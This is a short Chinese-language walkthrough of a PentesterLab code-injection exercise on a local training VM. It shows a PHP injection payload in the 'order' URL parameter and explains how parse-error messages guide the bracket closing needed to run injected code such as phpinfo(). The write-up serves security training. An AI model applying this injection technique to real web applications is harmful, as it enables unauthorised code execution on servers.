我们打开靶机

选择“Example 2”


PentestLab-web安全代码注入-EXP2_Parse


观察页面


PentestLab-web安全代码注入-EXP2_语法错误_02


观察不出什么


我们先打开靶机源码

进行观察


PentestLab-web安全代码注入-EXP2_php_03


经过网上大神分析


payload为


id);}phpinfo();//


修改id参数为


http://192.168.29.148/codeexec/example2.php?order=id);}phpinfo();//


结果


PentestLab-web安全代码注入-EXP2_语法错误_04


分析过程


可以看到这里面唯一一个可控变量就是$order,这里自然而然就想到我们可以和sql注入一样去闭合前面语句然后插入我们想要执行的代码。

so,尝试闭合构造如下:



?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。


?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。


?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。


我们就知道如何闭合上面的代码并加上自己想要执行的代码,Warning只是一个警告,代码依旧会执行。